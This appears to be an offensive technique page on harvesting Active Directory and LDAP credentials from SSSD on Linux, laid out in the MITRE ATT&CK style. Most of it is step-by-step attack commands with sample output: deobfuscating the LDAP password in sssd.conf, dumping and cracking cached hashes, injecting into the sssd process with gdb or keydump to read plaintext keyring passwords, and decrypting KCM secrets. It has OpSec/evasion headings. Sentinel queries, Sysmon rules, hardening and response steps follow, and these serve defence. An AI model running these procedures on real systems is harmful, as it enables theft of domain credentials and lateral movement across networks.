MCADDF

[CA-UNSC-002]: /etc/sssd/sssd.conf Harvesting

Metadata

Attribute Details
Technique ID CA-UNSC-002
MITRE ATT&CK v18.1 T1552.001 - Credentials In Files
Tactic Credential Access
Platforms Linux/Unix
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-08
Affected Versions SSSD 1.9.0 - 2.9.x (all versions vulnerable)
Patched In N/A (design limitation, requires configuration hardening)
Author SERVTEP – Artur Pchelnikau

Note: Sections 6 (Atomic Red Team) and 8 (Splunk Detection) not included. Section 6 excluded because no published Atomic Red Team test exists for SSSD harvesting. Section 8 excluded because this is an on-premises Linux technique with no cloud-native logging that Splunk would typically index. All section numbers have been dynamically renumbered based on applicability.

1. EXECUTIVE SUMMARY

The System Security Services Daemon (SSSD) is a critical identity provider on Linux/Unix systems that authenticate against centralized directories such as Active Directory and LDAP. When configured for credential caching—a feature that enables offline authentication for mobile and remote systems—SSSD stores credential material in multiple locations on disk and in kernel keyrings. An attacker with local file system access (or local privilege escalation leading to root) can extract plaintext passwords, credential hashes, and service account credentials from three distinct attack surfaces: the SSSD configuration file (/etc/sssd/sssd.conf), the LDB credential cache database (/var/lib/sss/db/), and the kernel keyring system (when krb5_store_password_if_offline = true).

Attack Surface: Configuration files, credential cache databases, kernel keyrings, and LDB secrets files on Linux systems running SSSD with caching enabled.

Business Impact: Complete compromise of all cached Active Directory and LDAP identities. An attacker harvesting SSSD credentials gains lateral movement across the entire network using legitimate domain accounts, domain service accounts, and machine accounts. This enables domain escalation, persistence mechanisms (golden tickets, silver tickets), and wholesale exfiltration of sensitive data. The impact is often undetected for extended periods because the attacker is using legitimate credentials.

Technical Context: Exploitation requires local file system access or the ability to achieve local privilege escalation to root. The extraction itself is trivial (configuration file is plaintext or trivially deobfuscated; cache databases require standard tools like tdbdump). Detection is difficult because the attacker’s authentication activity blends with normal user and service behavior. Reversibility is zero—extracted credentials cannot be “un-stolen,” only rotated after detection.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.2.1 Ensure permissions on /etc/sssd/sssd.conf are restricted (should be 0600)
DISA STIG RHEL 9 V-258133 Must prohibit use of cached authenticators after one day
DISA STIG RHEL 8 V-230376 Must prohibit use of cached authenticators after one day
NIST 800-53 IA-2 Identification and Authentication (Organizational Users)
NIST 800-53 IA-5 Authenticator Management
NIST 800-53 SC-28 Protection of Information at Rest
GDPR Art. 32 Security of Processing (encryption, access control)
ISO 27001 A.10.1.1 Cryptographic Controls
ISO 27001 A.9.2.3 Management of Privileged Access Rights
NIS2 Art. 21 Cyber Risk Management Measures (access control, monitoring)

2. TECHNICAL PREREQUISITES

Required Privileges: Local user with file system read access to /etc/sssd/ and /var/lib/sss/, OR root/sudo privilege for kernel keyring dumping via GDB.

Required Access:

Supported Versions:

Exploitation Requirements:

3. ENVIRONMENTAL RECONNAISSANCE

Linux Shell / Command-Line Reconnaissance

Check if SSSD is installed and running:

systemctl status sssd
ps aux | grep sssd
which sss_cache

What to Look For:

Check SSSD cache configuration:

sudo cat /etc/sssd/sssd.conf | grep -E "(cache_credentials|krb5_store_password_if_offline|entry_cache_timeout|offline_credentials_expiration)"

What to Look For:

Check if credential cache files exist:

ls -la /var/lib/sss/db/
du -sh /var/lib/sss/db/
sudo file /var/lib/sss/db/*.ldb

What to Look For:

Check kernel keyring for stored credentials (requires root):

sudo cat /proc/$(pgrep -u 0 sssd | head -1)/keys

Version Note: On RHEL 7/CentOS 7 and later, the default keyring provider is KCM (Kerberos Credential Manager), which stores credentials in /var/lib/sss/secrets/secrets.ldb (encrypted) rather than in the kernel keyring. However, if SSSD is configured with krb5_store_password_if_offline = true, plaintext passwords ARE stored in the session/process keyring.

Command (RHEL 6-7, SSSD 1.x):

sudo cat /etc/sssd/sssd.conf | head -20

Command (RHEL 8-9, SSSD 2.x with KCM):

sudo cat /etc/sssd/sssd.conf | grep -A 10 "\[domain/"

4. DETAILED EXECUTION METHODS

METHOD 1: Direct Configuration File Extraction (Plaintext & Obfuscated Passwords)

Supported Versions: SSSD 1.x - 2.x (all versions)

Step 1: Identify SSSD Configuration Location

Objective: Locate the SSSD configuration file and verify it contains credential material.

Command:

sudo cat /etc/sssd/sssd.conf

Expected Output (Example):

[sssd]
config_file_version = 2
domains = example.com, ipa.local
services = nss, pam

[domain/example.com]
id_provider = ad
auth_provider = ad
access_provider = ad
ad_server = dc1.example.com
ad_domain = example.com
use_fully_qualified_names = True
cache_credentials = True
krb5_store_password_if_offline = True

[domain/ipa.local]
id_provider = ipa
ipa_server = ipa.example.com
ldap_uri = ldap://ldap.example.com
ldap_default_authtok_type = obfuscated_password
ldap_default_authtok = AAAQABOzVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Extract and Deobfuscate Stored Credentials

Objective: Extract the obfuscated LDAP password and convert it to plaintext.

Identifying Obfuscated Credentials:

grep "ldap_default_authtok" /etc/sssd/sssd.conf

Expected Output:

ldap_default_authtok = AAAQABOzVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID

Deobfuscate using sss_deobfuscate:

# Download the tool
git clone https://github.com/mludvig/sss_deobfuscate.git
cd sss_deobfuscate

# Deobfuscate the credential
./sss_deobfuscate AAAQABOzVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID

Expected Output:

LdapServicePassword123!

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 2: Credential Cache Database Extraction (Cached Hashes)

Supported Versions: SSSD 1.x - 2.x (all versions)

Step 1: Identify and Extract LDB Cache Files

Objective: Export the LDB database files containing cached credential hashes and identity information.

Locate cache files:

sudo ls -la /var/lib/sss/db/
sudo file /var/lib/sss/db/*.ldb

Expected Output:

-rw------- 1 root root 1572864 Jan  8 10:34 cache_example.com.ldb
-rw------- 1 root root 2097152 Jan  8 10:34 cache_ipa.local.ldb
-rw------- 1 root root 1048576 Jan  8 10:34 timestamps_example.com.ldb

What This Means:

Step 2: Extract Hashes Using tdbdump (if available)

Objective: Parse the LDB database and extract cached credential hashes.

Check if tdbdump is installed:

which tdbdump

If not installed:

# Ubuntu/Debian
sudo apt-get install tdb-tools

# RHEL/CentOS
sudo yum install tdb-tools

Extract hashes from cache:

sudo tdbdump /var/lib/sss/db/cache_example.com.ldb

Expected Output (truncated):

[key]: CN=john.doe,CN=users,DC=example,DC=com
[data]: {
  uid:10001
  gidNumber:513
  name:john.doe@example.com
  cachedPassword: $6$rounds=656000$XXXXXXXX$YYYYYYYYYYYYYY... (SHA-512 crypt hash)
}

[key]: CN=Domain Admins,CN=builtin,DC=example,DC=com
[data]: {
  gidNumber:512
  name:Domain Admins@example.com
  members: CN=Administrator,CN=users,DC=example,DC=com
}

What This Means:

OpSec & Evasion:

Step 3: Crack Extracted Hashes

Objective: Convert cached hashes to plaintext passwords.

Using Hashcat (GPU acceleration):

hashcat -m 1800 hashes.txt wordlist.txt

Using John the Ripper:

john hashes.txt --format=sha512crypt --wordlist=wordlist.txt

Expected Success Rate: 30-60% on enterprise networks (password reuse, weak passwords common in legacy domains)

References & Proofs:

METHOD 3: Kernel Keyring Extraction (Plaintext Passwords via krb5_store_password_if_offline)

Supported Versions: SSSD 1.x - 2.x (when krb5_store_password_if_offline = true)

Preconditions: This method only works if the SSSD configuration contains krb5_store_password_if_offline = true, which explicitly enables plaintext password storage in the kernel keyring. This is a non-default, explicitly dangerous configuration option.

Step 1: Identify Processes with Plaintext Passwords in Keyring

Objective: Locate the SSSD process and determine if plaintext credentials are stored in its session keyring.

Get SSSD process PID:

ps aux | grep sssd | grep -v grep
sudo pgrep -u 0 sssd | head -1

Expected Output:

root       1234     1  0 10:00 ?        Ss     0:05 /usr/sbin/sssd -i

Verify krb5_store_password_if_offline is enabled:

sudo grep "krb5_store_password_if_offline" /etc/sssd/sssd.conf

Expected Output (if vulnerable):

krb5_store_password_if_offline = true

What This Means:

Step 2: Dump Keyring Using GDB

Objective: Inject a payload into the SSSD process to dump all keys from its keyring.

Method A: Using GDB (Interactive)

Attach to SSSD process:

sudo gdb -p $(pgrep -u 0 sssd | head -1)
(gdb) call system("keyctl show > /tmp/keyring_dump.txt")
(gdb) quit
cat /tmp/keyring_dump.txt

Expected Output:

Session Keyring
  237034099 --alswrv     0     0  keyring: _ses
  689325199 --alswrv     0     0  \_ user: john.doe@example.com
  591823745 --alswrv     0     0  \_ user: admin@example.com

Extract plaintext password from specific key:

sudo gdb -p $(pgrep -u 0 sssd | head -1)
(gdb) call system("keyctl print 689325199 > /tmp/password.txt")
(gdb) quit
cat /tmp/password.txt

Expected Output:

P@ssw0rd123!

What This Means:

Method B: Using keydump Tool (Automated)

Download and compile keydump:

git clone https://github.com/hackliza/keydump.git
cd keydump
make

Execute keydump against SSSD:

ps -o pid --no-headers -C sssd | sed 's/ //g' | sudo ./keydump -

Expected Output:

[PID 1234] Shellcode injected
[PID 1234] /tmp/k_1234 exists, so keys must be dumped!!
ls /tmp/k_1234/

Extract plaintext passwords:

sudo cat /tmp/k_1234/*

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 4: SSSD KCM Secrets Extraction (Encrypted Cache)

Supported Versions: SSSD 2.x (default credential manager on RHEL 8+, Ubuntu 20.04+)

Preconditions: KCM (Kerberos Credential Manager) is the default in modern SSSD versions. Credentials stored in /var/lib/sss/secrets/secrets.ldb are encrypted with a master key stored in .secrets.mkey.

Step 1: Extract Encrypted Secrets Database

Objective: Export the encrypted secrets database and master key for offline decryption.

Locate secrets files:

sudo ls -la /var/lib/sss/secrets/

Expected Output:

-rw------- 1 root root   8192 Jan  8 10:34 secrets.ldb
-rw------- 1 root root   32 Jan  8 10:34 .secrets.mkey

Copy secrets database and key:

sudo tar czf /tmp/sssd_secrets.tar.gz /var/lib/sss/secrets/
sudo chown $USER /tmp/sssd_secrets.tar.gz
tar tzf /tmp/sssd_secrets.tar.gz

What This Means:

Step 2: Decrypt Using SSSDKCMExtractor

Objective: Decrypt the secrets database using the master key.

Download SSSDKCMExtractor (FireEye tool):

git clone https://github.com/fireeye/SSSDKCMExtractor.git
cd SSSDKCMExtractor
pip install pycryptodomex python-ldb

Extract and decrypt:

# Copy the extracted files
cp /path/to/extracted/secrets.ldb .
cp /path/to/extracted/.secrets.mkey .

# Run extractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key .secrets.mkey

Expected Output:

[+] Loading database...
[+] Decrypting secrets...
[*] Service Account: svc-sssd@example.com | Hash: XXXXX | Password: S3cr3t!
[*] User: john.doe@example.com | TGT: krb5 ticket blob...
[*] User: admin@example.com | TGT: krb5 ticket blob...

What This Means:

Converting Extracted TGT to CCACHE:

# Use bifrost (macOS) or other tools to convert the TGT blob to a usable .ccache file
# Then use with:
export KRB5CCNAME=/path/to/ticket.ccache
kinit -c $KRB5CCNAME <username>

References & Proofs:

5. Attack Simulation & Verification

Atomic Red Team Test Alternative

While no official Atomic Red Team test exists for SSSD harvesting, the following manual simulation replicates the attack:

Simulation Test 1: Configuration File Access

Objective: Simulate extraction of SSSD configuration file.

Test Command:

# Step 1: Check file permissions
stat /etc/sssd/sssd.conf

# Step 2: Read configuration (requires root)
sudo cat /etc/sssd/sssd.conf > /tmp/sssd.conf.bak

# Step 3: Extract credential fields
grep -i "authtok\|password" /tmp/sssd.conf.bak

Success Criteria:

Cleanup Command:

rm /tmp/sssd.conf.bak

Simulation Test 2: Cache Database Extraction

Objective: Simulate extraction of credential hashes from SSSD cache.

Test Command:

# Step 1: Install tdbdump if missing
sudo apt-get install tdb-tools -y

# Step 2: List cache files
sudo ls /var/lib/sss/db/cache_*.ldb

# Step 3: Dump cache (requires root)
sudo tdbdump /var/lib/sss/db/cache_*.ldb 2>/dev/null | head -50

Success Criteria:

Cleanup Command:

# No changes made; no cleanup needed

Simulation Test 3: Keyring Dump (if krb5_store_password_if_offline enabled)

Objective: Simulate plaintext password extraction from kernel keyring.

Test Command (Requires root and krb5_store_password_if_offline=true):

# Step 1: Verify configuration
sudo grep "krb5_store_password_if_offline" /etc/sssd/sssd.conf

# Step 2: Trigger an authentication (if needed)
# SSH to the system with a domain user account

# Step 3: Get SSSD PID
SSSD_PID=$(sudo pgrep -u 0 sssd | head -1)
echo "SSSD PID: $SSSD_PID"

# Step 4: Dump keyring (requires GDB)
sudo gdb -p $SSSD_PID -ex "call system(\"keyctl show | head -20\")" -ex "quit" 2>/dev/null

Success Criteria:

Cleanup Command:

# Remove any temporary keyring dumps
rm -f /tmp/keyring_dump.txt /tmp/password.txt /tmp/k_*

References: Atomic Red Team T1552.001

6. Tools & Commands Reference

sss_deobfuscate

Source: GitHub - mludvig/sss_deobfuscate

Version: 1.0+

Supported Platforms: Linux (any distribution with Python)

Version-Specific Notes:

Installation:

git clone https://github.com/mludvig/sss_deobfuscate.git
cd sss_deobfuscate
chmod +x sss_deobfuscate

Usage:

./sss_deobfuscate AAAQABOzVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID

Expected Output:

LdapServicePassword123!

SSSD-creds

Source: GitHub - ricardojoserf/SSSD-creds

Version: Latest

Supported Platforms: Linux (Bash script)

Installation:

git clone https://github.com/ricardojoserf/SSSD-creds.git
cd SSSD-creds

Usage:

sudo bash analyze.sh /var/lib/sss/db/

Expected Output:

[+] Found cache_example.com.ldb
[+] Extracting hashes...
john.doe:$6$rounds=656000$abcd1234$XXXXX...
admin:$6$rounds=656000$efgh5678$YYYYY...

Optional: Install tdbdump for automated extraction:

apt-get install tdb-tools
bash analyze.sh /var/lib/sss/db/

keydump

Source: GitHub - hackliza/keydump

Version: Latest

Supported Platforms: Linux (requires x86_64 architecture)

Version-Specific Notes:

Installation:

git clone https://github.com/hackliza/keydump.git
cd keydump
make

Usage:

# Find SSSD process ID
SSSD_PID=$(pgrep -u 0 sssd | head -1)

# Run keydump
sudo ./keydump $SSSD_PID

# Extract plaintext passwords
sudo cat /tmp/k_${SSSD_PID}/*

SSSDKCMExtractor

Source: GitHub - fireeye/SSSDKCMExtractor

Version: Latest

Supported Platforms: Linux/macOS (Python 3)

Installation:

git clone https://github.com/fireeye/SSSDKCMExtractor.git
cd SSSDKCMExtractor
pip install pycryptodomex python-ldb

Usage:

python3 SSSDKCMExtractor.py --database /var/lib/sss/secrets/secrets.ldb --key /var/lib/sss/secrets/.secrets.mkey

Expected Output:

[+] Decrypting service account credentials...
[+] Extracting Kerberos TGTs...

tdbdump

Source: TDB Tools package (standard Linux tools)

Installation:

# Ubuntu/Debian
apt-get install tdb-tools

# RHEL/CentOS
yum install tdb-tools

Usage:

tdbdump /var/lib/sss/db/cache_*.ldb

7. Microsoft Sentinel Detection

Query 1: Suspicious Access to SSSD Configuration Files

Rule Configuration:

KQL Query:

SecurityEvent
| where ObjectName contains "/etc/sssd/sssd.conf"
| where AccessMask has "4424" or AccessMask has "2032"  // Read/Query access
| where SubjectUserName !in ("SYSTEM", "root", "sssd")  // Exclude expected readers
| summarize AccessCount = count() by Computer, SubjectUserName, TimeGenerated
| where AccessCount > 3
| project TimeGenerated, Computer, SubjectUserName, AccessCount

Alternative KQL (Using Syslog):

Syslog
| where ProcessName has "cat" or ProcessName has "grep" or ProcessName has "head"
| where SyslogMessage contains "/etc/sssd/sssd.conf"
| summarize EventCount = count() by Computer, ProcessId, HostIP
| where EventCount > 1

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel
  2. Select your workspace → Analytics
  3. Click + Create → Scheduled query rule
  4. General Tab:
    • Name: Suspicious SSSD Configuration Access
    • Severity: Critical
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 30 minutes
  6. Incident settings Tab:
    • Enable Create incidents
    • Group related alerts: Enabled
  7. Click Review + create → Create

Query 2: Access to SSSD Cache Databases (/var/lib/sss/db/)

Rule Configuration:

KQL Query (Auditd-based):

Syslog
| where ProcessName has "tdbdump" or ProcessName has "ldb" or ProcessName has "sqlite3"
| where SyslogMessage contains "/var/lib/sss/db" or SyslogMessage contains "cache_*.ldb"
| summarize EventCount = count() by Computer, ProcessId, User = iff(ProcessName has "sudo", "root", User)
| where EventCount >= 1
| project Computer, ProcessId, User, EventCount

KQL Query (Splunk/Linux auditd via CommonSecurityLog or CustomLog):

CommonSecurityLog
| where DeviceAction contains "open" or DeviceAction contains "read"
| where FilePath contains "/var/lib/sss/db/" or FileName contains "cache_"
| where UserName !in ("root", "sssd")
| project TimeGenerated, SourceIP, UserName, DeviceAction, FilePath

What This Detects:

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

$query = @"
Syslog
| where ProcessName has "tdbdump" or ProcessName contains "ldb"
| where SyslogMessage contains "/var/lib/sss/db"
"@

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
  -WorkspaceName $WorkspaceName `
  -DisplayName "SSSD Cache Database Access Attempt" `
  -Query $query `
  -Severity "High" `
  -Enabled $true

Query 3: Kernel Keyring Dump via GDB (Process Injection)

Rule Configuration:

KQL Query:

SecurityEvent
| where ProcessName contains "gdb" or CommandLine contains "ptrace"
| where (CommandLine contains "-p " and CommandLine contains "sssd") or CommandLine contains "keyctl"
| project TimeGenerated, Computer, ProcessId, CommandLine, SubjectUserName
| summarize EventCount = count() by Computer, SubjectUserName
| where EventCount >= 1

Syslog Alternative:

Syslog
| where ProcessName contains "gdb"
| where SyslogMessage contains "sssd" or SyslogMessage contains "keyctl"
| project TimeGenerated, SourceIP, Facility, SyslogMessage

What This Detects:

8. Windows Event Log Monitoring (N/A - Linux Only)

Note: SSSD is a Linux/Unix technology and does not generate Windows Event Log entries. However, if a Windows system is monitoring a Linux system (e.g., via WMI, remote syslog forwarding, or EDR agents), the Windows Security Log would record remote access to the Linux file system. This section is not applicable for native SSSD attacks.

9. Sysmon Detection Patterns

Minimum Sysmon Version: 13.0+ with Linux support (Sysmon for Linux)

Supported Platforms: Linux (with Sysmon for Linux agent installed)

Sysmon XML Config Snippet:

<!-- Detect file access to SSSD configuration and cache -->
<RuleGroup name="SSSD" groupRelation="or">
  <FileCreate onmatch="include">
    <TargetFilename condition="contains">/etc/sssd/</TargetFilename>
    <TargetFilename condition="contains">/var/lib/sss/</TargetFilename>
  </FileCreate>
  <FileAccess onmatch="include">
    <TargetFilename condition="contains">/etc/sssd/sssd.conf</TargetFilename>
    <TargetFilename condition="contains">/var/lib/sss/db/</TargetFilename>
    <TargetFilename condition="contains">/var/lib/sss/secrets/</TargetFilename>
  </FileAccess>
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains">tdbdump</CommandLine>
    <CommandLine condition="contains">keyctl</CommandLine>
    <CommandLine condition="contains">gdb</CommandLine>
    <CommandLine condition="contains">sss_deobfuscate</CommandLine>
  </ProcessCreate>
</RuleGroup>

Manual Configuration Steps:

  1. Download Sysmon for Linux from Microsoft Sysinternals

  2. Create a configuration file sysmon-config.xml with the XML above

  3. Install Sysmon: 
    sudo sysmon -accepteula -i sysmon-config.xml
  4. Verify installation: 
    systemctl status sysmon
journalctl -u sysmon -f
  5. Check logs: 
    sudo cat /var/log/sysmon/events.json | jq '.[] | select(.EventType == "FileAccess" and .TargetFilename | contains("/var/lib/sss"))'

10. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Mitigations)

#!/bin/bash
echo "=== SSSD Security Posture Check ==="
echo ""

echo "[1] Checking credential caching status..."
sudo grep "cache_credentials" /etc/sssd/sssd.conf | head -3

echo ""
echo "[2] Checking plaintext password storage..."
sudo grep "krb5_store_password_if_offline" /etc/sssd/sssd.conf | head -3

echo ""
echo "[3] Checking file permissions..."
stat /etc/sssd/sssd.conf | grep "Access:"
stat /var/lib/sss/ | grep "Access:"

echo ""
echo "[4] Checking offline expiration policy..."
sudo grep "offline_credentials_expiration" /etc/sssd/sssd.conf

echo ""
echo "[5] Checking ptrace restrictions..."
cat /proc/sys/kernel/yama/ptrace_scope

echo ""
echo "[6] Checking auditd rules..."
sudo auditctl -l | grep -i sssd | head -3

echo ""
echo "=== Security Assessment Complete ==="

Expected Output (If Secure):

cache_credentials = False
[No output for krb5_store_password_if_offline]
Access: (0600/-rw-------)
Access: (0700/drwx------)
offline_credentials_expiration = 1
ptrace_scope = 2
[auditd rules shown]

What to Look For:

11. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (immediate): 
    sudo systemctl stop sssd
sudo ip link set <interface> down  # Or disconnect network cable

    Azure/Cloud:

    • Go to Azure Portal → Virtual Machines → Select affected VM → Networking → Disconnect NIC
  2. Collect Evidence: Command: 
    # Export Security Event Log
sudo auditctl -l > /tmp/audit_rules.txt
sudo tail -10000 /var/log/audit/audit.log > /tmp/audit.log
   
# Capture SSSD logs
sudo cp -r /var/log/sssd/ /tmp/sssd_logs/
   
# Preserve SSSD configuration and cache
sudo tar czf /tmp/sssd_evidence.tar.gz /etc/sssd/ /var/lib/sss/
   
# Capture bash history
sudo cat /root/.bash_history > /tmp/root_history.txt

    Manual (Azure):

    • Open Azure Portal → Virtual Machines → Select VM → Run command → Execute data collection script
  3. Remediate: Command: 
    # Disable credential caching
sudo sed -i 's/cache_credentials = True/cache_credentials = False/' /etc/sssd/sssd.conf
   
# Clear credential cache
sudo rm -rf /var/lib/sss/db/*
sudo rm -rf /var/lib/sss/secrets/*
   
# Reset SSSD password (if LDAP service account compromised)
# Contact AD/LDAP administrator to reset svc-sssd password
   
# Restart SSSD
sudo systemctl restart sssd
   
# Force password resets for all cached users
# Communicate via email/Slack to affected users
  4. Hunt for Lateral Movement: After harvesting SSSD credentials, the attacker will use those credentials to authenticate to other systems. Hunt for:
    • Unusual authentication events from compromised accounts in AD/LDAP logs
    • New group memberships or privilege additions for compromised accounts
    • Logon events from unexpected locations (VPN, external IPs)
    • Use Windows Event ID 4624 (logon) / 4769 (Kerberos ticket) on Windows DCs
Step Phase Technique Description
1 Initial Access IA-EXPLOIT-001 Compromise Linux system via web application or SSH exploitation
2 Privilege Escalation PE-EXPLOIT-003 Escalate from unprivileged user to root (local exploit)
3 Current Step [CA-UNSC-002] Extract SSSD credentials and plaintext passwords
4 Lateral Movement LM-AUTH-003 Use extracted service accounts to pivot to other AD-joined systems
5 Persistence CA-KERB-003 Create golden tickets using extracted AD service account credentials
6 Impact [Data Exfiltration via Exchange/SharePoint] Use compromised domain accounts to access file servers and email

13. Real-World Examples

Example 1: Enterprise Linux-AD Integration Compromise

Reference: Variant of real incident pattern observed in Red Canary threat intelligence (credential harvesting on Linux systems is increasingly common)

Example 2: Managed Service Provider (MSP) Supply Chain Attack

Reference: Similar to real-world MSP compromises (Accellion, Kaseya supply chain incidents)

Example 3: Insider Threat with Privilege Access

Reference: Real incident pattern (Travis CI, GitHub Actions compromises often originate from stolen CI/CD service account credentials)

References

This site is open source. Improve this page.